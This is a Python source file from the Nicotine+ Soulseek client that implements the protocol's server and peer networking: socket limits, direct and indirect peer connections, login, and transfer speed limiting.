Navigator.of(context).pop();
}
GOOD:
void onButtonTapped(BuildContext context) {
Navigator.of(context).pop();
}
GOOD:
void onButtonTapped() async {
await Future.delayed(const Duration(seconds: 1));
if (!context.mounted) return;
Navigator.of(context).pop();
}
Usage
To enable the use_build_context_synchronously rule, add use_build_context_synchronously under linter > rules in your analysis_options.yaml file:
linter:
rules:
- use_build_context_synchronously
|
__label__pos
| 0.999888 |
Speech to textSupport
Last Updated:
1. bband
bband Member This Topic's Starter
Joined:
Nov 26, 2009
Messages:
6
Likes Received:
1
Is there a way to do speech to text in any app so you dont have to use text input?
Advertisement
2. ejl2010
ejl2010 Well-Known Member
Joined:
Nov 1, 2009
Messages:
82
Likes Received:
2
Handcent does what you're looking for. It's for text messages and works if you speak slowly.
3. Redflea
Redflea Well-Known Member
Joined:
Oct 6, 2009
Messages:
2,623
Likes Received:
289
I haven't seen a "whole-phone" text to speech option yet. Vlingo on the BB was pretty awesome...wish they would make an android release.
There is also an app called Voice Text if you don't want to use Handcent, though why anybody wouldn't want to use Handcent is beyond me. :)
4. xiola
xiola Member
Joined:
Nov 16, 2009
Messages:
21
Likes Received:
0
I tried to use handcent and it is saying "recognizer not present" I tried downloading TTS library and still nothing. Is there a trick?
Share This Page
Loading...
|
__label__pos
| 0.999131 |
Case Sensitive Lookup – Excel & Google Sheets
This tutorial will demonstrate how to perform a case-sensitive lookup in Excel using two different methods.
case sensitive lookup Main Function
Method 1 – LOOKUP Function
case sensitive lookup LU
LOOKUP Function
The LOOKUP Function is used to look up an approximate match for a value in a column and returns the corresponding value from another column.
AutoMacro - VBA Code Generator
Case-sensitive Lookup
By combining LOOKUP and EXACT, we can create a case-sensitive lookup formula that returns the corresponding value for our case-sensitive lookup. Let’s walk through an example.
We have a list of items and their corresponding prices (notice that Item ID is case-sensitive unique):
case sensitive lookup LU Table01
Supposed we are asked to price for an item using its Item ID like so:
case sensitive lookup LU Table01
To accomplish this, we can use LOOKUP and EXACT in a formula like so:
Limitation: for this method to work, the values must be sorted in descending order
How does the formula work?
The EXACT function checks the Item ID in E2 (lookup value) against the values in B2:B7 (lookup range) and returns TRUE where there is an exact match. Then the LOOKUP function returns the corresponding match in C2:C7 (results range) when the nested EXACT returns TRUE.
Method 2 – SUMPRODUCT Function
case sensitive lookup SPLU
SUMPRODUCT Function
The SUMPRODUCT Function is used to multiply arrays of numbers, summing the resultant array.
Case-sensitive SUMPRODUCT
Unlike the LOOKUP method, the values do not need to be sorted for this to work. We still need to combine EXACT in a formula to get the results like so:
Limitation: The SUMPRODUCT method will only work when the return value (not the lookup value) is numeric.
How does the formula work?
Like LOOKUP method, the EXACT function deals with finding the case-sensitive match and returns TRUE when there is an exact match or FALSE otherwise. The “–” (known as double unary) converts TRUE to 1 and FALSE to 0. This essentially creates the first array for SUMPRODUCT to multiply with our results array:
Case Sensitive Lookup in Google Sheets
These formulas work exactly the same in Google Sheets as in Excel.
case sensitive lookup Google Function
Excel Practice Worksheet
Practice Excel functions and formulas with our 100% free practice worksheets!
• Automatically Graded Exercises
• Learn Excel, Inside Excel!
|
__label__pos
| 0.98061 |
0 results found
Content Formatting
These settings change the way the editor handles the input and output of content. This will help you to create clean, maintainable and readable content.
Contribute to this page
block_formats
The enables you to specify a list of block formats for the block listbox. The format is 'title=block;'.
Type: String
Example
tinymce.init({
selector: 'textarea', // change this value according to your html
block_formats: 'Paragraph=p;Header 1=h1;Header 2=h2;Header 3=h3'
});
font_formats
This option lets you control the font families presented to the user in the fronts drop down list.
This option should contain a semicolon separated list of font titles and font families separated by =. The titles are the ones that get presented to the user in the fonts drop down list and the font family name is the string that gets inserted into the font face or font-family CSS style.
Type: String
Default Value: 'Andale Mono=andale mono,times;'+ 'Arial=arial,helvetica,sans-serif;'+ 'Arial Black=arial black,avant garde;'+ 'Book Antiqua=book antiqua,palatino;'+ 'Comic Sans MS=comic sans ms,sans-serif;'+ 'Courier New=courier new,courier;'+ 'Georgia=georgia,palatino;'+ 'Helvetica=helvetica;'+ 'Impact=impact,chicago;'+ 'Symbol=symbol;'+ 'Tahoma=tahoma,arial,helvetica,sans-serif;'+ 'Terminal=terminal,monaco;'+ 'Times New Roman=times new roman,times;'+ 'Trebuchet MS=trebuchet ms,geneva;'+ 'Verdana=verdana,geneva;'+ 'Webdings=webdings;'+ 'Wingdings=wingdings,zapf dingbats'
Example
tinymce.init({
selector: 'textarea', // change this value according to your HTML
font_formats: 'Arial=arial,helvetica,sans-serif;Courier New=courier new,courier,monospace;AkrutiKndPadmini=Akpdmi-n'
});
fontsize_formats
This option allows you to override the font sizes displayed in the font size select box using a space or comma separated list of font sizes
Type: String
Default Value: '8pt 10pt 12pt 14pt 18pt 24pt 36pt'
Example
tinymce.init({
selector: 'textarea', // change this value according to your HTML
toolbar: 'fontsizeselect',
fontsize_formats: '8pt 10pt 12pt 14pt 18pt 24pt 36pt'
});
formats
This option enables you to override and add custom "formats" to the editor.
A format is the style that gets applied to text when you press, for example, the bold button inside the editor. TinyMCE is equipped with a text formatter engine that enables you to specify exactly what it should produce when the user clicks (in this example) the bold button.
Check out the custom formats example for a demonstration of this option.
Style merging
Similar elements and styles will be merged by default to reduce the output HTML size. So for example, if you select a word and select a font size and font face for it, it will merge these two styles into one span element instead of one span for each format type.
Built in formats
TinyMCE has some built in formats that you can override. These are:
Some built in formats fontsize, fontname, forecolor, hilitecolor uses a variable in their definition named %value. This one gets replaced with the user selected item such as a color value. Check the variable substitution section below for details.
Format parameters
Each format has a set of parameters that you can specify.
NameSummary
inlineName of the inline element to produce for example "span". The current text selection will be wrapped in this inline element.
blockName of the block element to produce for example "h1". Existing block elements within the selection gets replaced with the new block element.
selectorCSS 3 selector pattern to find elements within the selection by. This can be used to apply classes to specific elements or complex things like odd rows in a table.
classesSpace separated list of classes to apply the the selected elements or the new inline/block element.
stylesName/value object with CSS style items to apply such as color etc.
attributesName/value object with attributes to apply to the selected elements or the new inline/block element.
exactDisables the merge similar styles feature when used. This is needed for some CSS inheritance issues such as text-decoration for underline/strikethough.
wrapperState that tells that the current format is a container format for block elements. For example a div wrapper or blockquote.
Example of usage of the formats option
This example overrides some of the built in formats and tells TinyMCE to apply classes instead of inline styles. It also includes a custom format that produced h1 elements with a title attribute and a red CSS style.
Type: Object
Example
// Output elements in HTML style
tinymce.init({
selector: 'textarea', // change this value according to your html
formats: {
alignleft: {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', classes : 'left'},
aligncenter: {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', classes : 'center'},
alignright: {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', classes : 'right'},
alignfull: {selector : 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', classes : 'full'},
bold: {inline : 'span', 'classes' : 'bold'},
italic: {inline : 'span', 'classes' : 'italic'},
underline: {inline : 'span', 'classes' : 'underline', exact : true},
strikethrough: {inline : 'del'},
forecolor: {inline : 'span', classes : 'forecolor', styles : {color : '%value'}},
hilitecolor: {inline : 'span', classes : 'hilitecolor', styles : {backgroundColor : '%value'}},
custom_format: {block : 'h1', attributes : {title : 'Header'}, styles : {color : 'red'}}
}
});
Using custom formats
Custom formats can be handled though the TinyMCE API. Here is a basic example of usage for the custom format defined above.
// Applying the specified format
tinymce.activeEditor.formatter.apply('custom_format');
// Removing the specified format
tinymce.activeEditor.formatter.remove('custom_format');
Variable substitution
You can use variables in your format definition these variables are then replaced with ones specified the specified in the call to the apply function. Here is an example how to use variables within formats.
// Registering the special format with a variable
tinymce.activeEditor.formatter.register('custom_format', {inline : 'span', styles : {color : '%value'}});
// Applying the specified format with the variable specified
tinymce.activeEditor.formatter.apply('custom_format', {value : 'red'});
Removing a format
It is possible to remove formats via the removeformat option.
Type: Array
Example
tinymce.init({
selector: 'textarea', // change this value according to your HTML
removeformat: [
{selector: 'b,strong,em,i,font,u,strike', remove : 'all', split : true, expand : false, block_expand: true, deep : true},
{selector: 'span', attributes : ['style', 'class'], remove : 'empty', split : true, expand : false, deep : true},
{selector: '*', attributes : ['style', 'class'], split : false, expand : false, deep : true}
]
});
indentation
This option allows specification of the indentation level for indent/outdent buttons in the UI.
This defaults to 30px but can be any value.
Type: String
Default Value: 30px
Example
tinymce.init({
selector: 'textarea', // change this value according to your HTML
indentation : '20pt'
});
style_formats
This option enables you to add more advanced style formats for text and other elements to the editor. The value of this option will be rendered as styles in the Formats dropdown.
The format of the option is very similar to the formats option, the only difference is the title name that is used for presentation in the drop list.
Type: Array
Example
tinymce.init({
selector: 'textarea', // change this value according to your html
style_formats: [
{title: 'Bold text', inline: 'b'},
{title: 'Red text', inline: 'span', styles: {color: '#ff0000'}},
{title: 'Red header', block: 'h1', styles: {color: '#ff0000'}},
{title: 'Example 1', inline: 'span', classes: 'example1'},
{title: 'Example 2', inline: 'span', classes: 'example2'},
{title: 'Table styles'},
{title: 'Table row 1', selector: 'tr', classes: 'tablerow1'}
]
});
Another example, this will add two options to the Formats dropdown, one for aligning an image left and adding a margin, one for putting it on the right side and setting a margin.
Type: Array
Example
tinymce.init({
selector: 'textarea', // change this value according to your HTML
style_formats: [
{
title: 'Image Left',
selector: 'img',
styles: {
'float': 'left',
'margin': '0 10px 0 10px'
}
},
{
title: 'Image Right',
selector: 'img',
styles: {
'float': 'right',
'margin': '0 0 10px 10px'
}
}
]
});
A live demo of this option can be found in the custom formats example.
If you want to merge your styles to the default styles_format, you can use the style_formats_merge settings:
Type: Boolean
Default Value: false
Possible Values: true, false
Example
tinymce.init({
selector: 'textarea', // change this value according to your HTML
style_formats_merge: true,
style_formats: [
// Your format as described on this page
]
});
The default is very similar to the following:
Type: Array
Example
tinymce.init({
selector: 'textarea', // change this value according to your HTML
style_formats: [
{title: 'Headers', items: [
{title: 'Header 1', format: 'h1'},
{title: 'Header 2', format: 'h2'},
{title: 'Header 3', format: 'h3'},
{title: 'Header 4', format: 'h4'},
{title: 'Header 5', format: 'h5'},
{title: 'Header 6', format: 'h6'}
]},
{title: 'Inline', items: [
{title: 'Bold', icon: 'bold', format: 'bold'},
{title: 'Italic', icon: 'italic', format: 'italic'},
{title: 'Underline', icon: 'underline', format: 'underline'},
{title: 'Strikethrough', icon: 'strikethrough', format: 'strikethrough'},
{title: 'Superscript', icon: 'superscript', format: 'superscript'},
{title: 'Subscript', icon: 'subscript', format: 'subscript'},
{title: 'Code', icon: 'code', format: 'code'}
]},
{title: 'Blocks', items: [
{title: 'Paragraph', format: 'p'},
{title: 'Blockquote', format: 'blockquote'},
{title: 'Div', format: 'div'},
{title: 'Pre', format: 'pre'}
]},
{title: 'Alignment', items: [
{title: 'Left', icon: 'alignleft', format: 'alignleft'},
{title: 'Center', icon: 'aligncenter', format: 'aligncenter'},
{title: 'Right', icon: 'alignright', format: 'alignright'},
{title: 'Justify', icon: 'alignjustify', format: 'alignjustify'}
]}
]
});
Hopefully we'll have an exact replica of the defaults soon.
style_formats_merge
This option allows you to set whether TinyMCE should append the styles in the style_formats setting to the default style formats or completely replace them.
Type: Array
Example
tinymce.init({
selector: 'textarea', // change this value according to your HTML
style_formats: [
{title: 'Bold text', inline: 'b'},
{title: 'Red text', inline: 'span', styles: {color: '#ff0000'}}
],
style_formats_merge: true
});
Except as otherwise noted, the content of this page is licensed under the Creative Commons BY-NC-SA 3.0 License, and code samples are licensed under the Apache 2.0 License.
|
__label__pos
| 0.932253 |
top of page
881
area code
Biggest city:
Not Assigned
State:
Timezone:
Not Assigned
Nearby area codes:
Zip codes
Major Cities:
Not Assigned
Average Income:
Not Assigned
Population:
Unemployment Rate:
Area code 881 is not part of the North American Numbering Plan (NANP) and thus doesn't apply to any region in the United States, Canada, or other countries within the NANP system. Instead, it has a different international context. Global Mobile Satellite System: Area code 881 is designated for the Global Mobile Satellite System (GMSS). It is used for satellite phones, which are different from standard mobile phones as they connect directly to orbiting satellites instead of terrestrial cell sites. Wide International Reach: Unlike traditional area codes tied to a specific geographic region, the 881 code is used globally. It is not limited to a particular country or continent. This global reach is essential for satellite phone users who may need to communicate from remote or underserved areas where traditional cellular service is unavailable. Specific Use Cases: Satellite phones with an 881 area code are particularly useful in scenarios like maritime communications, disaster response, and remote area connectivity. They are favored in situations where reliable communication is critical and where other forms of communication infrastructure are either unavailable or have been compromised. In summary, area code 881 represents a specialized aspect of international telecommunications, specifically for satellite phone services. It plays a crucial role in enabling communication in remote, rural, and challenging environments around the world.
bottom of page
|
__label__pos
| 0.892962 |
5 years ago (2015-08-18) Algorithm language Software development | First to comment 51
post score 0 times, average 0.0
Method one: (java habits, not recommended for use in android)
Just started to contact the android thread programming, the habit is like java, trying to solve the problem with the following code
Can realize the function, refresh UI interface.However, this is not possible because it violates the single-threaded model: Android UI operations are not thread-safe and these operations must be performed in the UI thread. Android uses threads to update the UI in several ways
Method two: (Thread+Handler)
After consulting the documentation and apidemo, I discovered that the common method is to use Handler to implement UI thread updates. The Handler handles UI updates based on received messages.The Thread thread issues a Handler message to notify the UI of the update.
Method 3: (java habits, not recommended)
In the Android platform, you need to perform the cycle-by-cycle method. You can use the TimerTask class that comes with Java. The TimerTask consumes less resources than the Thread. In addition to using the Timer that is provided by Android, the Timer timer is better. Solution. We need to import import java.util.Timer; and import java.util.TimerTask;
Method 4: (TimerTask + Handler)
In fact, this is not enough. This is related to Android's thread safety!Should achieve timer function through Handler!
Method 5: (Runnable + Handler.postDelayed(runnable,time) )
The UI is updated periodically in Android, usually using java.util.Timer, java.util.TimerTask, android.os.Handler combinations.In fact, Handler itself has provided regular functions.
Then call elsewhere
================================================
Summary of knowledge added:
Many newcomers to Android or Java development are still confused about Thread, Looper, Handler, and Message. Derived are HandlerThread, java.util.concurrent, Task, AsyncTask. Since the books and other materials on the market are not talking about these issues, Let's make a more systematic summary of this issue today.The Service, Activity, and Broadcast we create are all handled by a main thread. Here we can understand the UI thread.However, when operating some time-consuming operations, such as reading and writing of large files for I/O reading and writing, database operations and network downloading take a long time, in order not to block the user interface, an ANR response prompt window appears. At this time, we can consider using Thread thread to solve. For programmers who have worked on J2ME development, Thread is relatively simple. Create a rewrite run method anonymously and call the start method to execute it.Or inherited from the Runnable interface, but for the Android platform UI controls are not designed to be thread-safe type, so need to introduce some synchronization mechanism to make it refresh, this point Google is referring to the next Win32 message processing mechanism when designing Android .
• 1. For the refresh of a view in the thread as a base class interface, you can use the postInvalidate () method to deal with the thread, which also provides some rewrite methods such as postInvalidate (int left, int top, int right, int bottom) to refresh A rectangular area, as well as delayed execution, such as postInvalidateDelayed(longdelayMilliseconds) or postInvalidateDelayed(longdelayMilliseconds, int left, int top, int right, int bottom) methods, where the first parameter is milliseconds
• 2. Of course, the recommended method is to handle these through a Handler, which can be implemented by calling the handler object's postMessage or sendMessage method in a thread's run method. The Android program internally maintains a message queue, which will be rotated for processing if you are a Win32 program. The staff can understand these message processing well, but compared to Android, there is no way to provide PreTranslateMessage these interference internal methods.
• 3. Looper is what? In fact, every Thread in Android is followed by a Looper, Looper can help Thread maintain a message queue, but Looper and Handler has nothing to do, we can see from the open source code Android also provides a Thread inheritance The class HanderThread can help us to deal with, in the HandlerThread object can get a Looper object control handle by getLooper method, we can map its Looper object to a Handler to achieve a thread synchronization mechanism, the implementation of the Looper object needs to initialize Looper. The prepare method is the problem that we saw yesterday. At the same time, we need to release resources and use the Looper.release method.
• What is 4.Message on Android? For Handler Android can pass some content, through the Bundle object can encapsulate String, Integer and Blob binary objects, we pass a Bundle object to the thread using the sendEmptyMessage or sendMessage method of the Handler object to Handler processor.For the Handler class, an overriding method handleMessage(Message msg) is provided to distinguish each message by msg.what.Unpack the Bundle to implement the Handler class to update the contents of the UI thread to implement the control refresh operation.The relevant Handler objects related to the message sending sendXXXX related methods, as well as postXXXX related methods, these are basically the same with the principles in Win32, one for the direct return after sending, one for processing to return.
• 5. Java.util.concurrent object analysis, for programmers engaged in Java development in the past will not be unfamiliar to the Concurrent object, he is an important feature of the new JDK 1.5 later as a handheld device, we do not advocate the use of this class, taking into account Android We have already designed the Task mechanism. We don't make too many details here. Related reasons are as follows:
• 6. Android also provides a different processing method than the thread, Task and AsyncTask, can be seen from the open source code is for the Concurrent package, developers can easily handle these asynchronous tasks.
This article has been transferred from http://www.cnblogs.com/playing/archive/2011/03/24/1993583.html. If you feel that this article is useful to you, you can click on "Sponsored Author" below the article to reward it. Author!
Post comment
Style
No Comment
登录
Forget password?
您也可以使用第三方帐号快捷登录
切换登录
注册
TW
|
__label__pos
| 0.519539 |
# COPYRIGHT (C) 2020-2022 Nicotine+ Contributors # COPYRIGHT (C) 2008-2012 quinox # COPYRIGHT (C) 2007-2009 daelstorm # COPYRIGHT (C) 2003-2004 Hyriand # COPYRIGHT (C) 2001-2003 Alexander Kanavin # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . """ This module implements Soulseek networking protocol. """ import errno import selectors import socket import struct import sys import time from threading import Thread from pynicotine.events import events from pynicotine.logfacility import log from pynicotine.slskmessages import DISTRIBUTED_MESSAGE_CLASSES from pynicotine.slskmessages import DISTRIBUTED_MESSAGE_CODES from pynicotine.slskmessages import NETWORK_MESSAGE_EVENTS from pynicotine.slskmessages import PEER_MESSAGE_CLASSES from pynicotine.slskmessages import PEER_MESSAGE_CODES from pynicotine.slskmessages import PEER_INIT_MESSAGE_CLASSES from pynicotine.slskmessages import PEER_INIT_MESSAGE_CODES from pynicotine.slskmessages import SERVER_MESSAGE_CLASSES from pynicotine.slskmessages import SERVER_MESSAGE_CODES from pynicotine.slskmessages import AcceptChildren from pynicotine.slskmessages import BranchLevel from pynicotine.slskmessages import BranchRoot from pynicotine.slskmessages import CheckPrivileges from pynicotine.slskmessages import CloseConnection from pynicotine.slskmessages import CloseConnectionIP from pynicotine.slskmessages import ConnectionType from pynicotine.slskmessages import ConnectToPeer from pynicotine.slskmessages import DistribBranchLevel from pynicotine.slskmessages import DistribBranchRoot from pynicotine.slskmessages import DistribEmbeddedMessage from pynicotine.slskmessages import DistribSearch from pynicotine.slskmessages import DownloadFile from pynicotine.slskmessages import EmbeddedMessage from pynicotine.slskmessages import FileOffset from pynicotine.slskmessages import FileDownloadInit from pynicotine.slskmessages import FileUploadInit from pynicotine.slskmessages import FileSearchResponse from pynicotine.slskmessages import GetPeerAddress from pynicotine.slskmessages import GetUserStats from pynicotine.slskmessages import GetUserStatus from pynicotine.slskmessages import HaveNoParent from pynicotine.slskmessages import InitPeerConnection from pynicotine.slskmessages import Login from pynicotine.slskmessages import MessageType from pynicotine.slskmessages import PossibleParents from pynicotine.slskmessages import ParentMinSpeed from pynicotine.slskmessages import ParentSpeedRatio from pynicotine.slskmessages import PeerInit from pynicotine.slskmessages import PierceFireWall from pynicotine.slskmessages import Relogged from pynicotine.slskmessages import ResetDistributed from pynicotine.slskmessages import RoomList from pynicotine.slskmessages import SendNetworkMessage from pynicotine.slskmessages import ServerConnect from pynicotine.slskmessages import ServerDisconnect from pynicotine.slskmessages import SetDownloadLimit from pynicotine.slskmessages import SetUploadLimit from pynicotine.slskmessages import SetWaitPort from pynicotine.slskmessages import SharedFileListResponse from pynicotine.slskmessages import UploadFile from pynicotine.slskmessages import UserInfoResponse from pynicotine.slskmessages import UserStatus from pynicotine.slskmessages import increment_token from pynicotine.upnp import UPnP # Set the maximum number of open files to the hard limit reported by the OS. # Our MAXSOCKETS value needs to be lower than the file limit, otherwise our open # sockets in combination with other file activity can exceed the file limit, # effectively halting the program. if sys.platform == "win32": # For Windows, FD_SETSIZE is set to 512 in the Python source. # This limit is hardcoded, so we'll have to live with it for now. MAXSOCKETS = 512 else: import resource # pylint: disable=import-error if sys.platform == "darwin": # Maximum number of files a process can open is 10240 on macOS. # macOS reports INFINITE as hard limit, so we need this special case. MAXFILELIMIT = 10240 else: _SOFTLIMIT, MAXFILELIMIT = resource.getrlimit(resource.RLIMIT_NOFILE) # pylint: disable=no-member try: resource.setrlimit(resource.RLIMIT_NOFILE, (MAXFILELIMIT, MAXFILELIMIT)) # pylint: disable=no-member except Exception as rlimit_error: log.add("Failed to set RLIMIT_NOFILE: %s", rlimit_error) # Set the maximum number of open sockets to a lower value than the hard limit, # otherwise we just waste resources. # The maximum is 3072, but can be lower if the file limit is too low. MAXSOCKETS = min(max(int(MAXFILELIMIT * 0.75), 50), 3072) SIOCGIFADDR = 0x8915 if sys.platform == "linux" else 0xc0206921 # 0xc0206921 for *BSD, macOS UINT_UNPACK = struct.Struct(" 1: limit = limit // self._total_uploads self._upload_limit_split = int(limit) def _calc_upload_limit_by_transfer(self): return self._calc_upload_limit(limit_per_transfer=True) def _calc_upload_limit_none(self): return self._calc_upload_limit(limit_disabled=True) def _calc_download_limit(self): limit = self._download_limit loop_limit = 1024 # 1 KB/s is the minimum download speed per transfer if limit < loop_limit: # Download limit disabled self._download_limit_split = 0 return if self._total_downloads > 1: limit = limit // self._total_downloads self._download_limit_split = int(limit) def _calc_loops_per_second(self, current_time): """ Calculate number of loops per second. This value is used to split the per-second transfer speed limit evenly for each loop. """ if current_time - self._last_cycle_time >= 1: self._loops_per_second = (self._last_cycle_loop_count + self._current_cycle_loop_count) // 2 self._last_cycle_loop_count = self._current_cycle_loop_count self._last_cycle_time = current_time self._current_cycle_loop_count = 0 else: self._current_cycle_loop_count = self._current_cycle_loop_count + 1 def _set_conn_speed_limit(self, sock, limit, limits): limit = limit // (self._loops_per_second or 1) if limit > 0: limits[sock] = limit """ Connections """ def _check_indirect_connection_timeouts(self): curtime = time.time() if self._out_indirect_conn_request_times: for init, request_time in self._out_indirect_conn_request_times.copy().items(): username = init.target_user conn_type = init.conn_type if (curtime - request_time) >= 20 and self._out_indirect_conn_request_times.pop(init, None): log.add_conn(("Indirect connect request of type %(type)s to user %(user)s with " "token %(token)s expired, giving up"), { "type": conn_type, "user": username, "token": init.token }) events.emit_main_thread("peer-connection-error", username, init.outgoing_msgs) self._token_init_msgs.pop(init.token, None) init.outgoing_msgs.clear() @staticmethod def _connection_still_active(conn_obj): init = conn_obj.init if init is not None and init.conn_type != "P": # Distributed and file connections are critical, always assume they are active return True return len(conn_obj.obuf) > 0 or len(conn_obj.ibuf) > 0 def _has_existing_user_socket(self, user, conn_type): prev_init = self._username_init_msgs.get(user + conn_type) if prev_init is not None and prev_init.sock is not None: return True return False def _add_init_message(self, init): conn_type = init.conn_type if conn_type == ConnectionType.FILE: # File transfer connections are not unique or reused later return self._username_init_msgs[init.target_user + conn_type] = init @staticmethod def _pack_network_message(msg_obj): try: return msg_obj.make_network_message() except Exception: from traceback import format_exc log.add("Unable to pack message type %(msg_type)s. %(error)s", {"msg_type": msg_obj.__class__, "error": format_exc()}) return None @staticmethod def _unpack_network_message(msg_class, msg_buffer, msg_size, conn_type, conn=None): try: if conn is not None: msg = msg_class(conn) else: msg = msg_class() msg.parse_network_message(msg_buffer) return msg except Exception as error: log.add_debug(("Unable to parse %(conn_type)s message type %(msg_type)s size %(size)i " "contents %(msg_buffer)s: %(error)s"), { "conn_type": conn_type, "msg_type": msg_class, "size": msg_size, "msg_buffer": msg_buffer, "error": error }) return None @staticmethod def _unpack_embedded_message(msg): """ This message embeds a distributed message. We unpack the distributed message and process it. """ if msg.distrib_code not in DISTRIBUTED_MESSAGE_CLASSES: return None distrib_class = DISTRIBUTED_MESSAGE_CLASSES[msg.distrib_code] distrib_msg = distrib_class() distrib_msg.parse_network_message(msg.distrib_message) return distrib_msg def emit_network_message_event(self, msg): if msg is None: return log.add_msg_contents(msg) event_name = NETWORK_MESSAGE_EVENTS.get(msg.__class__) if event_name: events.emit_main_thread(event_name, msg) def _modify_connection_events(self, conn_obj, selector_events): if conn_obj.selector_events != selector_events: log.add_conn("Modifying selector events for connection to %(addr)s: %(events)s", { "addr": conn_obj.addr, "events": selector_events }) self._selector.modify(conn_obj.sock, selector_events) conn_obj.selector_events = selector_events def _process_conn_messages(self, init): """ A connection is established with the peer, time to queue up our peer messages for delivery """ msgs = init.outgoing_msgs for j in msgs: j.init = init self._queue.append(j) msgs.clear() @staticmethod def _verify_peer_connection_type(conn_type): if conn_type not in (ConnectionType.PEER, ConnectionType.FILE, ConnectionType.DISTRIBUTED): log.add_conn("Unknown connection type %s", str(conn_type)) return False return True def _send_message_to_peer(self, user, message): conn_type = message.msgtype if not self._verify_peer_connection_type(conn_type): return # Check if there's already a connection for the specified username init = self._username_init_msgs.get(user + conn_type) if init is None and conn_type != ConnectionType.FILE: # Check if we have a pending PeerInit message (currently requesting user IP address) pending_init_msgs = self._pending_init_msgs.get(user, []) for msg in pending_init_msgs: if msg.conn_type == conn_type: init = msg break log.add_conn("Sending message of type %(type)s to user %(user)s", { "type": message.__class__, "user": user }) if init is not None: log.add_conn("Found existing connection of type %(type)s for user %(user)s, using it.", { "type": conn_type, "user": user }) init.outgoing_msgs.append(message) if init.sock is not None: # We have initiated a connection previously, and it's ready self._process_conn_messages(init) else: # This is a new peer, initiate a connection self._initiate_connection_to_peer(user, conn_type, message) def _initiate_connection_to_peer(self, user, conn_type, message=None, in_address=None): """ Prepare to initiate a connection with a peer """ init = PeerInit(init_user=self._server_username, target_user=user, conn_type=conn_type) user_address = self._user_addresses.get(user) if in_address is not None: user_address = in_address elif user_address is not None: _ip_address, port = user_address if port == 0: # Port 0 means the user is likely bugged, ask the server for a new address user_address = None if message is not None: init.outgoing_msgs.append(message) if user_address is None: if user not in self._pending_init_msgs: self._pending_init_msgs[user] = [] self._pending_init_msgs[user].append(init) self._queue.append(GetPeerAddress(user)) log.add_conn("Requesting address for user %(user)s", { "user": user }) else: init.addr = user_address self._connect_to_peer(user, user_address, init) def _connect_to_peer(self, user, addr, init): """ Initiate a connection with a peer """ conn_type = init.conn_type if not self._verify_peer_connection_type(conn_type): return if self._has_existing_user_socket(user, conn_type): log.add_conn(("Direct connection of type %(type)s to user %(user)s %(addr)s requested, " "but existing connection already exists"), { "type": conn_type, "user": user, "addr": addr }) return if not init.indirect: # Also request indirect connection in case the user's port is closed self._connect_to_peer_indirect(init) self._add_init_message(init) self._queue.append(InitPeerConnection(addr, init)) log.add_conn("Attempting direct connection of type %(type)s to user %(user)s %(addr)s", { "type": conn_type, "user": user, "addr": addr }) def _connect_error(self, error, conn_obj): if conn_obj.sock is self._server_socket: server_address, port = conn_obj.addr log.add( _("Cannot connect to server %(host)s:%(port)s: %(error)s"), { "host": server_address, "port": port, "error": error } ) self._set_server_timer() return if not conn_obj.init.indirect: log.add_conn("Direct connection of type %(type)s to user %(user)s failed. Error: %(error)s", { "type": conn_obj.init.conn_type, "user": conn_obj.init.target_user, "error": error }) return if conn_obj.init in self._out_indirect_conn_request_times: return log.add_conn( "Cannot respond to indirect connection request from user %(user)s. Error: %(error)s", { "user": conn_obj.init.target_user, "error": error }) def _connect_to_peer_indirect(self, init): """ Send a message to the server to ask the peer to connect to us (indirect connection) """ self._token = increment_token(self._token) username = init.target_user conn_type = init.conn_type init.token = self._token self._token_init_msgs[self._token] = init self._out_indirect_conn_request_times[init] = time.time() self._queue.append(ConnectToPeer(self._token, username, conn_type)) log.add_conn("Attempting indirect connection to user %(user)s with token %(token)s", { "user": username, "token": self._token }) def _establish_outgoing_peer_connection(self, conn_obj): sock = conn_obj.sock self._conns[sock] = conn_obj init = conn_obj.init user = init.target_user conn_type = init.conn_type token = init.token init.sock = sock log.add_conn(("Established outgoing connection of type %(type)s with user %(user)s. List of " "outgoing messages: %(messages)s"), { "type": conn_type, "user": user, "messages": init.outgoing_msgs }) if init.indirect: log.add_conn(("Responding to indirect connection request of type %(type)s from " "user %(user)s, token %(token)s"), { "type": conn_type, "user": user, "token": token }) self._queue.append(PierceFireWall(sock, token)) else: # Direct connection established log.add_conn("Sending PeerInit message of type %(type)s to user %(user)s", { "type": conn_type, "user": user }) self._queue.append(init) # Direct and indirect connections are attempted at the same time, clean up self._token_init_msgs.pop(token, None) if self._out_indirect_conn_request_times.pop(init, None): log.add_conn(("Stopping indirect connection attempt of type %(type)s to user " "%(user)s"), { "type": conn_type, "user": user }) self._process_conn_messages(init) def _establish_outgoing_server_connection(self, conn_obj): self._conns[self._server_socket] = conn_obj addr = conn_obj.addr log.add( _("Connected to server %(host)s:%(port)s, logging in…"), { "host": addr[0], "port": addr[1] } ) login, password = conn_obj.login self._user_addresses[login] = (self._find_local_ip_address(), self.listenport) conn_obj.login = True self._server_address = addr self._server_username = login self._server_timeout_value = -1 self._queue.append( Login( login, password, # Soulseek client version # NS and SoulseekQt use 157 # We use a custom version number for Nicotine+ 160, # Soulseek client minor version # 17 stands for 157 ns 13c, 19 for 157 ns 13e # SoulseekQt seems to go higher than this # We use a custom minor version for Nicotine+ 1 ) ) self._queue.append(SetWaitPort(self.listenport)) def _replace_existing_connection(self, init): user = init.target_user conn_type = init.conn_type if user == self._server_username or not self._has_existing_user_socket(user, conn_type): return log.add_conn("Discarding existing connection of type %(type)s to user %(user)s", { "type": init.conn_type, "user": user }) prev_init = self._username_init_msgs[user + conn_type] init.outgoing_msgs = prev_init.outgoing_msgs prev_init.outgoing_msgs = [] self._close_connection(self._conns, prev_init.sock, callback=False) @staticmethod def _close_socket(sock, shutdown=True): # In certain cases, a shutdown isn't possible, e.g. if a connection wasn't established if shutdown: try: log.add_conn("Shutting down socket %s", sock) sock.shutdown(socket.SHUT_RDWR) except OSError as error: log.add_conn("Failed to shut down socket %(sock)s: %(error)s", { "sock": sock, "error": error }) 